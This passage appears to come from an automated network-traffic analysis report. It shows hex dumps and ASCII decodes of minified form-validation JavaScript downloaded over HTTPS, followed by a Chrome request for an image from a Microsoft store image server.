63 68 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 58 28 74 5b 6e 5d 29 29 7b 69 66 28 21 65 5b 6e 5d 29 7b 73 65 
28 65 2c 28 72 3d 7b 7d 2c 72 5b 6e 5d 3d 7b 7d 2c 72 29 29 3b 76 61 72 20 72 7d 72 65 74 75 72 6e 20 76 6f 69 64 20 
69 2e 5f 6d 65 72 67 65 28 65 5b 6e 5d 2c 74 5b 6e 5d 29 7d 73 65 28 65 2c 28 73 3d 7b 7d 2c 73 5b 6e 5d 3d 74 5b 6e 
5d 2c 73 29 29 3b 76 61 72 20 73 7d 29 2c 65 29 3a 65 7d 3b 76 61 72 20 
Data Ascii: ictionary[e].attributes[t]=i},ue.prototype._merge=function(e,t){var i=this;return X(e)&&X(t)?(Object.keys(t)
.forEach(function(n){if(X(t[n])){if(!e[n]){se(e,(r={},r[n]={},r));var r}return void i._merge(e[n],t[n])}se(e,(s={},s[n]=t[n],s));var 
s}),e):e};var 

2022-05-13 14:40:12 UTC 745 IN Data Raw: 20 22 2b 65 2b 22 20 66 69 65 6c 64 20 6d 75 73 74 20 62 65 20 61 20 76 61 6c 69 64 20 66 69 6c 65 2e 22 
7d 2c 69 6d 61 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 54 68 65 20 22 2b 65 2b 22 20 66 69 
65 6c 64 20 6d 75 73 74 20 62 65 20 61 6e 20 69 6d 61 67 65 2e 22 7d 2c 69 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 7
2 65 74 75 72 6e 22 54 68 65 20 22 2b 65 2b 22 20 66 69 65 6c 64 20 6d 75 73 74 20 62 65 20 61 20 76 61 6c 69 64 20 
76 61 6c 75 65 2e 22 7d 2c 69 70 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 54 68 65 20 22 2b 65 2b 
22 20 66 69 65 6c 64 20 6d 75 73 74 20 62 65 20 61 20 76 61 6c 69 64 20 69 70 20 61 64 64 72 65 73 73 2e 22 7d 2c 6d 
61 78 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 54 
Data Ascii:  "+e+" field must be a valid file."},image:function(e){return"The "+e+" field must be an image."},in:function(e)
{return"The "+e+" field must be a valid value."},ip:function(e){return"The "+e+" field must be a valid ip address."},max:funct
ion(e,t){return"T

2022-05-13 14:40:12 UTC 746 IN Data Raw: 2b 22 27 5d 22 29 3b 76 6f 69 64 20 30 3d 3d 3d 73 26 26 28 73 3d 72 2c 72 3d 21 31 29 3b 76 61 72 20 61 
3d 65 28 74 2c 73 2c 21 30 29 2c 75 3d 65 28 6f 3f 6f 2e 76 61 6c 75 65 3a 6e 2c 73 2c 21 30 29 3b 72 65 74 75 72 6e 21 
28 21 61 2e 69 73 56 61 6c 69 64 28 29 7c 7c 21 75 2e 69 73 56 61 6c 69 64 28 29 29 26 26 28 61 2e 69 73 42 65 66 6f 
72 65 28 75 29 7c 7c 72 26 26 61 2e 69 73 53 61 6d 65 28 75 29 29 7d 7d 2c 64 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7
b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 6e 3d 69 5b 30 5d 3b 72 65 74 75 72 6e 
20 65 28 74 2c 6e 2c 21 30 29 2e 69 73 56 61 6c 69 64 28 29 7d 7d 2c 68 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 
65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 
Data Ascii: +"']");void 0===s&&(s=r,r=!1);var a=e(t,s,!0),u=e(o?o.value:n,s,!0);return!(!a.isValid()||!u.isValid())&&(a.
isBefore(u)||r&&a.isSame(u))}},de=function(e){return function(t,i){var n=i[0];return e(t,n,!0).isValid()}},he=function(e){return 
function(t,i){var 

2022-05-13 14:40:12 UTC 747 IN Data Raw: 72 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 65 65 28 74 29 29 72 65 74 75 72 6e 20 76 6f 
69 64 28 55 5b 65 5d 3d 74 29 3b 55 5b 65 5d 3d 74 2e 76 61 6c 69 64 61 74 65 2c 65 65 28 74 2e 67 65 74 4d 65 73 73 
61 67 65 29 26 26 67 65 2e 73 65 74 4d 65 73 73 61 67 65 28 6d 65 2c 65 2c 74 2e 67 65 74 4d 65 73 73 61 67 65 29 2c 
74 2e 6d 65 73 73 61 67 65 73 26 26 67 65 2e 6d 65 72 67 65 28 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 2e 6d 65 73 73 
61 67 65 73 29 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 76 61 72 20 72 3d 69 3b 72 5b 6e 5d 
3d 7b 6d 65 73 73 61 67 65 73 3a 28 73 3d 7b 7d 2c 73 5b 65 5d 3d 74 2e 6d 65 73 73 61 67 65 73 5b 6e 5d 2c 73 29 7d 
3b 76 61 72 20 73 3b 72 65 74 75 72 6e 20 72 7d 2c 7b 7d 29 29 7d 2c 79 
Data Ascii: rge=function(e,t){if(ee(t))return void(U[e]=t);U[e]=t.validate,ee(t.getMessage)&&ge.setMessage(me,e,t.getMes
sage),t.messages&&ge.merge(Object.keys(t.messages).reduce(function(i,n){var r=i;r[n]={messages:(s={},s[e]=t.me
ssages[n],s)};var s;return r},{}))},y

2022-05-13 14:40:12 UTC 749 IN Data Raw: 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 30 29 2c 5f 65 3d 65 7d 2c 79 65 2e 75 70 64 61 74 65 44 69 63 74 69 
6f 6e 61 72 79 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 67 65 2e 6d 65 72 67 65 28 65 29 7d 2c 79 65 2e 61 64 64 4c 6f 
63 61 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 6e 61 6d 65 29 72 65 74 75 72 6e 20 76 6f 69 64 
20 51 28 22 59 6f 75 72 20 6c 6f 63 61 6c 65 20 6d 75 73 74 20 68 61 76 65 20 61 20 6e 61 6d 65 20 70 72 6f 70 65 72 74 
79 22 29 3b 74 68 69 73 2e 75 70 64 61 74 65 44 69 63 74 69 6f 6e 61 72 79 28 28 74 3d 7b 7d 2c 74 5b 65 2e 6e 61 6d 
65 5d 3d 65 2c 74 29 29 3b 76 61 72 20 74 7d 2c 79 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 4c 6f 63 61 6c 65 3d 66 
75 6e 63 74 69 6f 6e 28 65 29 7b 79 65 2e 61 64 64 4c 6f 63 61 6c 
Data Ascii: d 0===e&&(e=!0),_e=e},ye.updateDictionary=function(e){ge.merge(e)},ye.addLocale=function(e){if(!e.
name)return void Q("Your locale must have a name property");this.updateDictionary((t={},t[e.name]=e,t));var t},ye.protot
ype.addLocale=function(e){ye.addLocal

2022-05-13 14:40:12 UTC 750 IN Data Raw: 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 76 61 6c 69 64 61 74 69 6f 6e 73 26 26 65 2e 76 61 6c 69 64 61 74 69 
6f 6e 73 2e 72 65 71 75 69 72 65 64 7d 2c 79 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 6e 6f 72 6d 61 6c 69 7a 65 4f 62 6a 
65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 
4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 
72 3d 5b 5d 3b 69 66 28 72 3d 21 30 3d 3d 3d 65 5b 6e 5d 3f 5b 5d 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 
6e 5d 29 3f 65 5b 6e 5d 3a 5b 65 5b 6e 5d 5d 2c 21 31 3d 3d 3d 65 5b 6e 5d 3f 64 65 6c 65 74 65 20 69 5b 6e 5d 3a 69 
5b 6e 5d 3d 72 2c 76 65 2e 69 6e 73 74 61 6c 6c 65 64 26 26 74 2e 5f 
Data Ascii: (e){return e.validations&&e.validations.required},ye.prototype._normalizeObject=function(e){var t=this,i={};
return Object.keys(e).forEach(function(n){var r=[];if(r=!0===e[n]?[]:Array.isArray(e[n])?e[n]:[e[n]],!1===e[n]?delete i[n]:i[n]=r,
ve.installed&&t._

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:12 UTC 751 IN Data Raw: 2c 73 2c 69 29 3a 74 68 69 73 2e 64 69 63 74 69 6f 6e 61 72 79 2e 67 65 74 4d 65 73 73 61 67 65 28 22 65 6e 
22 2c 74 2e 6e 61 6d 65 29 28 72 2c 73 2c 69 29 7d 2c 79 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 4c 6f 63 61 6c 
69 7a 65 64 50 61 72 61 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 74 26 
26 28 74 3d 22 5f 5f 67 6c 6f 62 61 6c 5f 5f 22 29 2c 7e 5b 22 61 66 74 65 72 22 2c 22 62 65 66 6f 72 65 22 2c 22 63 6f 6e 
66 69 72 6d 65 64 22 5d 2e 69 6e 64 65 78 4f 66 28 65 2e 6e 61 6d 65 29 26 26 65 2e 70 61 72 61 6d 73 26 26 65 2e 70 
61 72 61 6d 73 5b 30 5d 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 24 73 63 6f 70 65 73 5b 74 5d 5b 65 2e 70 61 72 61 6d 
73 5b 30 5d 5d 3b 72 65 74 75 72 6e 20 69 26 26 69 2e 6e 61 6d 
Data Ascii: ,s,i):this.dictionary.getMessage("en",t.name)(r,s,i)},ye.prototype._getLocalizedParams=function(e,t){if(void 
0===t&&(t="__global__"),~["after","before","confirmed"].indexOf(e.name)&&e.params&&e.params[0]){var i=this.$scopes[t]
[e.params[0]];return i&&i.nam

2022-05-13 14:40:12 UTC 753 IN Data Raw: 65 20 61 20 6c 69 73 74 65 6e 65 72 20 66 6f 72 20 6e 6f 6e 2d 65 78 69 73 74 65 6e 74 20 66 69 65 6c 64 20 
22 2b 74 2b 22 2e 22 29 3b 76 61 72 20 69 3d 22 5f 5f 67 6c 6f 62 61 6c 5f 5f 22 3b 69 66 28 74 2e 69 6e 64 65 78 4f 66 
28 22 2e 22 29 3e 2d 31 26 26 21 74 68 69 73 2e 24 73 63 6f 70 65 73 2e 5f 5f 67 6c 6f 62 61 6c 5f 5f 5b 65 5d 29 7b 76 
61 72 20 6e 3b 6e 3d 74 2e 73 70 6c 69 74 28 22 2e 22 29 2c 69 3d 6e 5b 30 5d 2c 74 3d 6e 5b 31 5d 7d 74 68 69 73 2e 
24 73 63 6f 70 65 73 5b 69 5d 5b 74 5d 2e 65 76 65 6e 74 73 5b 65 5d 3d 76 6f 69 64 20 30 7d 2c 79 65 2e 70 72 6f 74 6f 
74 79 70 65 2e 5f 61 73 73 69 67 6e 46 6c 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 66 6c 61 67 73 3d 7b 
75 6e 74 6f 75 63 68 65 64 3a 21 30 2c 74 6f 75 63 68 65 64 3a 
Data Ascii: e a listener for non-existent field "+t+".");var i="__global__";if(t.indexOf(".")>-1&&!this.$scopes.__global__[e])
{var n;n=t.split("."),i=n[0],t=n[1]}this.$scopes[i][t].events[e]=void 0},ye.prototype._assignFlags=function(e){e.flags={unto
uched:!0,touched:

2022-05-13 14:40:12 UTC 754 IN Data Raw: 24 73 63 6f 70 65 73 5b 72 5d 3b 73 26 26 28 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 2e 66 6c 61 67 73 29 2e 
66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 2e 66 6c 61 67 73 5b 65 5d 3d 76 6f 69 64 20 30 21 3d 
3d 74 5b 65 5d 3f 74 5b 65 5d 3a 73 2e 66 6c 61 67 73 5b 65 5d 7d 29 2c 73 2e 6c 69 73 74 65 6e 65 72 73 2e 63 6c 61 
73 73 65 73 2e 73 79 6e 63 28 29 29 7d 2c 79 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 70 70 65 6e 64 3d 66 75 6e 63 74 6
9 6f 6e 28 65 2c 74 2c 69 29 7b 76 6f 69 64 20 30 3d 3d 3d 69 26 26 28 69 3d 7b 7d 29 2c 69 2e 73 63 6f 70 65 3d 74 68 
69 73 2e 5f 72 65 73 6f 6c 76 65 53 63 6f 70 65 28 69 2e 73 63 6f 70 65 29 2c 74 68 69 73 2e 24 73 63 6f 70 65 73 5b 69 
2e 73 63 6f 70 65 5d 26 26 74 68 69 73 2e 24 73 63 6f 70 65 73 5b 
Data Ascii: $scopes[r];s&&(Object.keys(s.flags).forEach(function(e){s.flags[e]=void 0!==t[e]?t[e]:s.flags[e]}),s.listene
rs.classes.sync())},ye.prototype.append=function(e,t,i){void 0===i&&(i={}),i.scope=this._resolveScope(i.scope),this.$sco
pes[i.scope]&&this.$scopes[

2022-05-13 14:40:12 UTC 755 IN Data Raw: 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 30 29 2c 74 68 69 73 2e 73 74 72 69 63 74 4d 6f 64 65 3d 65 
7d 2c 79 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 70 64 61 74 65 44 69 63 74 69 6f 6e 61 72 79 3d 66 75 6e 63 74 69 6f 6e 
28 65 29 7b 79 65 2e 75 70 64 61 74 65 44 69 63 74 69 6f 6e 61 72 79 28 65 29 7d 2c 79 65 2e 70 72 6f 74 6f 74 79 70 
65 2e 61 64 64 53 63 6f 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 21 74 68 69 73 2e 24 73 63 6f 70 65 73 
5b 65 5d 26 26 28 74 68 69 73 2e 24 73 63 6f 70 65 73 5b 65 5d 3d 7b 7d 29 7d 2c 79 65 2e 70 72 6f 74 6f 74 79 70 65 2
e 76 61 6c 69 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 2c 6e 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 69 
66 28 76 6f 69 64 20 30 3d 3d 3d 69 26 26 28 69 3d 22 5f 5f 67 6c 
Data Ascii: void 0===e&&(e=!0),this.strictMode=e},ye.prototype.updateDictionary=function(e){ye.updateDictionary(e)},ye.p
rototype.addScope=function(e){e&&!this.$scopes[e]&&(this.$scopes[e]={})},ye.prototype.validate=function(e,t,i,n){var r=t
his;if(void 0===i&&(i="__gl

2022-05-13 14:40:12 UTC 757 IN Data Raw: 61 6c 69 64 61 74 65 5d 3a 20 56 61 6c 69 64 61 74 69 6f 6e 20 41 62 6f 72 74 65 64 2e 22 3d 3d 3d 65 2e 6d 
73 67 29 72 65 74 75 72 6e 20 6f 2e 65 76 65 6e 74 73 26 26 65 65 28 6f 2e 65 76 65 6e 74 73 2e 61 66 74 65 72 29 26 
26 6f 2e 65 76 65 6e 74 73 2e 61 66 74 65 72 28 7b 76 61 6c 69 64 3a 21 31 7d 29 2c 50 72 6f 6d 69 73 65 2e 72 65 73 6f 
6c 76 65 28 21 31 29 3b 74 68 72 6f 77 20 65 7d 7d 2c 79 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 41 72 69 61 56 
61 6c 69 64 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 6c 26 26 21 65 2e 6c 69 
73 74 65 6e 65 72 73 2e 63 6f 6d 70 6f 6e 65 6e 74 26 26 65 2e 65 6c 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 7
2 69 61 2d 69 6e 76 61 6c 69 64 22 2c 21 74 29 7d 2c 79 65 2e 70 
Data Ascii: alidate]: Validation Aborted."===e.msg)return o.events&&ee(o.events.after)&&o.events.after({valid:!1}),Promi
se.resolve(!1);throw e}},ye.prototype._setAriaValidAttribute=function(e,t){e.el&&!e.listeners.component&&e.el.setAttribu
te("aria-invalid",!t)},ye.p

2022-05-13 14:40:12 UTC 758 IN Data Raw: 2c 22 66 69 65 6c 64 42 61 67 22 2c 74 68 69 73 2e 24 76 61 6c 69 64 61 74 6f 72 2e 66 69 65 6c 64 42 61 67 
29 7d 2c 6d 6f 75 6e 74 65 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 24 76 61 6c 69 64 61 74 6f 72 2e 69 
6e 69 74 28 29 7d 7d 3b 76 61 72 20 69 7d 2c 78 65 3d 7b 74 6f 75 63 68 65 64 3a 22 74 6f 75 63 68 65 64 22 2c 75 6e 
74 6f 75 63 68 65 64 3a 22 75 6e 74 6f 75 63 68 65 64 22 2c 76 61 6c 69 64 3a 22 76 61 6c 69 64 22 2c 69 6e 76 61 6c 6
9 64 3a 22 69 6e 76 61 6c 69 64 22 2c 70 72 69 73 74 69 6e 65 3a 22 70 72 69 73 74 69 6e 65 22 2c 64 69 72 74 79 3a 
22 64 69 72 74 79 22 7d 2c 41 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 76 6f 69 64 20 30 3d 3d 3d 69 26 
26 28 69 3d 7b 7d 29 2c 74 68 69 73 2e 65 6c 3d 65 2c 74 68 69 73 2e 76 
Data Ascii: ,"fieldBag",this.$validator.fieldBag)},mounted:function(){this.$validator.init()}};var i},xe={touched:"touch
ed",untouched:"untouched",valid:"valid",invalid:"invalid",pristine:"pristine",dirty:"dirty"},Ae=function(e,t,i){void 0===i&&(i={})
,this.el=e,this.v

2022-05-13 14:40:12 UTC 759 IN Data Raw: 69 6f 6e 28 29 7b 74 2e 72 65 6d 6f 76 65 28 74 2e 63 6c 61 73 73 4e 61 6d 65 73 2e 70 72 69 73 74 69 6e 65 
29 2c 74 2e 61 64 64 28 74 2e 63 6c 61 73 73 4e 61 6d 65 73 2e 64 69 72 74 79 29 2c 74 2e 65 6c 2e 72 65 6d 6f 76 65 
45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 69 6e 70 75 74 22 2c 74 2e 6c 69 73 74 65 6e 65 72 73 2e 69 6e 70 75 74 
29 2c 74 2e 66 69 65 6c 64 2e 66 6c 61 67 73 2e 64 69 72 74 79 3d 21 30 2c 74 2e 66 69 65 6c 64 2e 66 6c 61 67 73 2e 7
0 72 69 73 74 69 6e 65 3d 21 31 7d 2c 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 2e 61 66 74 65 72 3d 66 75 6e 63 74 
69 6f 6e 28 65 29 7b 74 2e 72 65 6d 6f 76 65 28 65 2e 76 61 6c 69 64 3f 74 2e 63 6c 61 73 73 4e 61 6d 65 73 2e 69 6e 76 
61 6c 69 64 3a 74 2e 63 6c 61 73 73 4e 61 6d 65 73 2e 76 61 6c 69 64 
Data Ascii: ion(){t.remove(t.classNames.pristine),t.add(t.classNames.dirty),t.el.removeEventListener("input",t.listeners
.input),t.field.flags.dirty=!0,t.field.flags.pristine=!1},this.listeners.after=function(e){t.remove(e.valid?t.classNames.invalid:t
.classNames.valid

2022-05-13 14:40:12 UTC 761 IN Data Raw: 31 64 65 34 0d 0a 74 2c 69 2c 6e 29 7b 74 68 69 73 2e 75 6e 77 61 74 63 68 3d 76 6f 69 64 20 30 2c 74 68 69 
73 2e 63 61 6c 6c 62 61 63 6b 73 3d 5b 5d 2c 74 68 69 73 2e 65 6c 3d 65 2c 74 68 69 73 2e 73 63 6f 70 65 3d 58 28 74 
2e 76 61 6c 75 65 29 3f 74 2e 76 61 6c 75 65 2e 73 63 6f 70 65 3a 57 28 65 29 2c 74 68 69 73 2e 62 69 6e 64 69 6e 67 
3d 74 2c 74 68 69 73 2e 76 6d 3d 69 2e 63 6f 6e 74 65 78 74 2c 74 68 69 73 2e 63 6f 6d 70 6f 6e 65 6e 74 3d 69 2e 63 68 
69 6c 64 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 6e 2c 74 68 69 73 2e 66 69 65 6c 64 4e 61 6d 65 3d 74 68 69 73 2e 5f 
72 65 73 6f 6c 76 65 46 69 65 6c 64 4e 61 6d 65 28 29 2c 74 68 69 73 2e 6d 6f 64 65 6c 3d 74 68 69 73 2e 5f 72 65 73 6f 
6c 76 65 4d 6f 64 65 6c 28 69 2e 64 61 74 61 2e 64 69 72 65 63 
Data Ascii: 1de4t,i,n){this.unwatch=void 0,this.callbacks=[],this.el=e,this.scope=X(t.value)?t.value.scope:W(e),this.bin
ding=t,this.vm=i.context,this.component=i.child,this.options=n,this.fieldName=this._resolveFieldName(),this.model=this._
resolveModel(i.data.direc

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:12 UTC 762 IN Data Raw: 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 28 72 65 28 74 68 69 73 2e 65 6c 2e 66 69 6c 65 73 29 29 2e 74 68 65 
6e 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 21 74 26 26 65 2e 62 69 6e 64 69 6e 67 2e 6d 6f 64 69 66 69 65 72 73 2e 72 
65 6a 65 63 74 26 26 28 65 2e 65 6c 2e 76 61 6c 75 65 3d 22 22 29 7d 29 7d 2c 77 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 
72 61 64 69 6f 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 
2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 27 2b 74 68 69 73 2e 65 6c 2e 6e 
61 6d 65 2b 27 22 5d 3a 63 68 65 63 6b 65 64 27 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 76 61 6c 69 64 61 74 65 
28 65 3f 65 2e 76 61 6c 75 65 3a 6e 75 6c 6c 29 7d 2c 77 65 2e 70 72 
Data Ascii: his._validate(re(this.el.files)).then(function(t){!t&&e.binding.modifiers.reject&&(e.el.value="")})},we.prot
otype._radioListener=function(){var e=document.querySelector('input[name="'+this.el.name+'"]:checked');return this._vali
date(e?e.value:null)},we.pr

2022-05-13 14:40:12 UTC 763 IN Data Raw: 61 6e 67 65 22 2c 22 62 6c 75 72 22 5d 2c 6c 69 73 74 65 6e 65 72 3a 74 68 69 73 2e 5f 69 6e 70 75 74 4c 69 
73 74 65 6e 65 72 7d 3b 73 77 69 74 63 68 28 74 68 69 73 2e 65 6c 2e 74 79 70 65 29 7b 63 61 73 65 22 66 69 6c 65 22 
3a 65 3d 7b 6e 61 6d 65 73 3a 5b 22 63 68 61 6e 67 65 22 5d 2c 6c 69 73 74 65 6e 65 72 3a 74 68 69 73 2e 5f 66 69 6c 
65 4c 69 73 74 65 6e 65 72 7d 3b 62 72 65 61 6b 3b 63 61 73 65 22 72 61 64 69 6f 22 3a 65 3d 7b 6e 61 6d 65 73 3a 5b 
22 63 68 61 6e 67 65 22 5d 2c 6c 69 73 74 65 6e 65 72 3a 74 68 69 73 2e 5f 72 61 64 69 6f 4c 69 73 74 65 6e 65 72 7d 
3b 62 72 65 61 6b 3b 63 61 73 65 22 63 68 65 63 6b 62 6f 78 22 3a 65 3d 7b 6e 61 6d 65 73 3a 5b 22 63 68 61 6e 67 65 
22 5d 2c 6c 69 73 74 65 6e 65 72 3a 74 68 69 73 2e 5f 63 68 65 63 6b 62 
Data Ascii: ange","blur"],listener:this._inputListener};switch(this.el.type){case"file":e={names:["change"],listener:this._fileLis
tener};break;case"radio":e={names:["change"],listener:this._radioListener};break;case"checkbox":e={names:["change"],list
ener:this._checkb

2022-05-13 14:40:12 UTC 765 IN Data Raw: 74 29 72 65 74 75 72 6e 7b 63 6f 6e 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 
2e 63 6f 6d 70 6f 6e 65 6e 74 7d 2c 67 65 74 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 
76 61 6c 75 65 7d 7d 3b 73 77 69 74 63 68 28 74 68 69 73 2e 65 6c 2e 74 79 70 65 29 7b 63 61 73 65 22 63 68 65 63 6b 
62 6f 78 22 3a 72 65 74 75 72 6e 7b 63 6f 6e 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 6f 
63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 27 2b 
65 2e 65 6c 2e 6e 61 6d 65 2b 27 22 5d 3a 63 68 65 63 6b 65 64 27 29 7d 2c 67 65 74 74 65 72 3a 66 75 6e 63 74 69 6f 6
e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 6c 65 6e 67 74 
Data Ascii: t)return{context:function(){return e.component},getter:function(e){return e.value}};switch(this.el.type){cas
e"checkbox":return{context:function(){return document.querySelectorAll('input[name="'+e.el.name+'"]:checked')},getter:fu
nction(e){return e&&e.lengt

2022-05-13 14:40:12 UTC 766 IN Data Raw: 69 3d 74 2e 63 6f 6e 74 65 78 74 2c 6e 3d 74 2e 67 65 74 74 65 72 3b 69 66 28 74 68 69 73 2e 76 6d 2e 24 76 
61 6c 69 64 61 74 6f 72 2e 61 74 74 61 63 68 28 74 68 69 73 2e 66 69 65 6c 64 4e 61 6d 65 2c 61 65 28 74 68 69 73 2e 
62 69 6e 64 69 6e 67 2e 65 78 70 72 65 73 73 69 6f 6e 2c 74 68 69 73 2e 62 69 6e 64 69 6e 67 2e 76 61 6c 75 65 2c 74 
68 69 73 2e 65 6c 29 2c 7b 73 63 6f 70 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 73 63 6f 70 65 
7c 7c 57 28 65 2e 65 6c 29 7d 2c 70 72 65 74 74 79 4e 61 6d 65 3a 59 28 74 68 69 73 2e 65 6c 2c 22 61 73 22 29 7c 7c 7
4 68 69 73 2e 65 6c 2e 74 69 74 6c 65 2c 63 6f 6e 74 65 78 74 3a 69 2c 67 65 74 74 65 72 3a 6e 2c 6c 69 73 74 65 6e 65 
72 73 3a 74 68 69 73 2c 69 6e 69 74 69 61 6c 3a 74 68 69 73 2e 62 
Data Ascii: i=t.context,n=t.getter;if(this.vm.$validator.attach(this.fieldName,ae(this.binding.expression,this.binding.v
alue,this.el),{scope:function(){return e.scope||W(e.el)},prettyName:Y(this.el,"as")||this.el.title,context:i,getter:n,listeners:th
is,initial:this.b

2022-05-13 14:40:12 UTC 767 IN Data Raw: 29 7d 7d 7d 7d 2c 4c 65 3d 7b 6c 6f 63 61 6c 65 3a 22 65 6e 22 2c 64 65 6c 61 79 3a 30 2c 65 72 72 6f 72 42 
61 67 4e 61 6d 65 3a 22 65 72 72 6f 72 73 22 2c 64 69 63 74 69 6f 6e 61 72 79 3a 6e 75 6c 6c 2c 73 74 72 69 63 74 3a 
21 30 2c 66 69 65 6c 64 73 42 61 67 4e 61 6d 65 3a 22 66 69 65 6c 64 73 22 2c 65 6e 61 62 6c 65 41 75 74 6f 43 6c 61 
73 73 65 73 3a 21 31 2c 63 6c 61 73 73 4e 61 6d 65 73 3a 7b 7d 7d 2c 4e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 6
5 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 65 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 
28 65 2c 74 29 7b 72 65 74 75 72 6e 7e 74 2e 69 6e 64 65 78 4f 66 28 22 2e 22 29 3f 65 5b 74 2e 73 70 6c 69 74 28 22 
2e 22 29 5b 31 5d 5d 3d 74 3a 65 5b 74 5d 3d 74 2c 65 7d 2c 7b 7d 29 
Data Ascii: )}}}},Le={locale:"en",delay:0,errorBagName:"errors",dictionary:null,strict:!0,fieldsBagName:"fields",enableA
utoClasses:!1,classNames:{}},Ne=function(e){return Array.isArray(e)?e.reduce(function(e,t){return~t.indexOf(".")?e[t.spl
it(".")[1]]=t:e[t]=t,e},{})

2022-05-13 14:40:12 UTC 768 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

33 192.168.2.3 49755 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:11 UTC 709 OUT GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-
2d6e6b2ff76c?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:11 UTC 709 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 16325
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2022 10:42:47 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNEMDAxMzU3OTU"
MS-CV: zhWxFSME9UiFbJ9+.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:11 GMT
Connection: close
